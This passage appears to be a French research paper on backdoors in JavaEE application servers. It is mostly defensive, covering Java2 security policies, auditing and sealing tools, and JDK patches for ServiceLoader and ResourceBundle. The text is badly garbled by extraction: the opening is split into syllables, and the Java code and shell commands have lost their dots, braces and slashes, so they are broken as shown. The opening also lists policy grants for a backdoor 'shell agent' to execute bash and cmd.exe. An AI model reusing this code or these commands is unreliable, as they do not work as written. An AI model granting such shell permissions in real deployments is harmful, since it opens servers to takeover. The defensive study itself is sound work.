pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

